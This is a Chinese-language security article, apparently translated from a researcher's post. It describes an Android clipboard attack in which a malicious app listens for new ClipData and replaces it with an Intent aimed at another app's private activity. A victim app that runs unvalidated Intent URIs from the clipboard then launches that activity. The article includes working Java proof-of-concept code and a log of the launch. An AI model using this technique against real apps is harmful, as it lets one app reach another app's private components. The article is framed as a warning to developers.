概述

本文将要讲述一个滥用Android的ClipBoardManager最后自食恶果的故事

Clipboard框架

当你使用Android的Clipboard框架,你将数据转换成一个剪切对象,然后将剪切对象传递到系统剪贴板。剪贴板同一时间只允许存在一个剪切对象,当应用在剪切板中传递一个剪切对象,前面一个剪切对象就会被移除。应用也不需要请求任何特殊许可就能对剪切板进行读取/写入。

coerceToText()

ClipData.Item是ClipData中的一个item,在ClipData.Item中有一个名为coerceToText()的十分有趣的公共操作方法。该方法会将ClipData.Item中的数据转换为文本,无论其数据类型。

因为两个截然不同的东西,让它更添趣味:

1.它可以创建一个包含了Intent的ClipData,并将其放入全局剪切板中。
2.coerceToText()内部机制中会调用getIntent()。如果ClipData.Item中的Intent对象不为null,那么数据会被转换为Intent URI

另外,ClipboardManager提供了一个监听器,当primaryClipData有变化时就会提醒你,也就是说当添加了一些新的东西,它会进行提醒。

通过ClipData进行攻击

假说有一个应用通过某种类型的用户交互在剪切板中创建,增加一个包含了被认为是“公用”组件的Intent对象的ClipData

final ClipboardManager clipboardManager = (ClipboardManager)  
        getSystemService(Context.CLIPBOARD_SERVICE);        
        
Intent intent = new Intent(getApplicationContext(), 
PublicActivity.class);  
intent.setAction("android.intent.action.VIEW");  
intent.putExtra("ExtraString", "foobar");  

ClipData setClipData;  
setClipData = ClipData.newIntent("intent", intent);  
clipboardManager.setPrimaryClip(setClipData);

恶意应用可能会设置一个监听器来接收新增ClipData的通知

ClipboardManager.OnPrimaryClipChangedListener 
onPrimaryClipChangedListener = new 
ClipboardManager.OnPrimaryClipChangedListener() {  
   
   @Override                                                                                                
   public void onPrimaryClipChanged() {                                      
     try {                                                                                                
        replaceClipData(clipboardManager);                                                                                    
        } catch (URISyntaxException e) {                          
        
            e.printStackTrace();                              
        }                                           
    }                                               
};

一旦检测到新的ClipData,它可以通过在剪切板增加一个包含了新的Intent对象的恶意ClipData

ClipData getClipData = clipboardManager.getPrimaryClip();  
ClipData.Item item;                                                         = getClipData.getItemAt(0); 
 
Log.d("MaliciousApplication", item.toString());                                                                         
CharSequence charSequence = 
item.coerceToText(this.getApplicationContext());  
String intentURI = charSequence.toString();                                                                             
Log.d("MaliciousApplication", "Found Intent URI : " + intentURI + " : Replacing!");                                     
Intent intent = new Intent();  
intent.setComponent(new ComponentName("com.rotlogix.clipdatacapture", "com.rotlogix.clipdatacapture.PrivateActivity"));  
intent.setAction("android.intent.action.VIEW");                                                                         
Log.d("MaliciousApplication", intent.toString());                                                                       
ClipData setClipData;  
setClipData = ClipData.newIntent("intent", intent);  
clipboardManager.setPrimaryClip(setClipData);

如果在ClipData中发现的数据是一个Intent,那么coerceToText()会返回一个Intent URI。如果一个应用想要从URI创建一个Intent,它肯定得在返回的字符串调用parseUri(),这也就是苦果的由来。

public void startActivityFromClipData(ClipboardManager clipboardManager) throws URISyntaxException {  
    ClipData getClipData = clipboardManager.getPrimaryClip();                                         
    ClipData.Item item;                                                                               
    item = getClipData.getItemAt(0);                                                                  
    String clipDataString = item.coerceToText(this.getApplicationContext()).toString();               
    Intent intent = Intent.parseUri(clipDataString, 0);                                               
    startActivity(intent);                                                   }

应用程序在传递给startActivity()之前,调用一个未经验证的隐形Intent

I/ActivityManager( 6422): START u0 {act=android.intent.action.VIEW cmp=com.rotlogix.clipdatacapture/.PrivateActivity} from pid 9040

总结

到目前为止,我个人还没有看到有人利用这种方法搞破坏。但是作为一个有趣的案例,同时给开发者提个醒也是不错的。

*参考来源:rotlogix,编译/ 鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...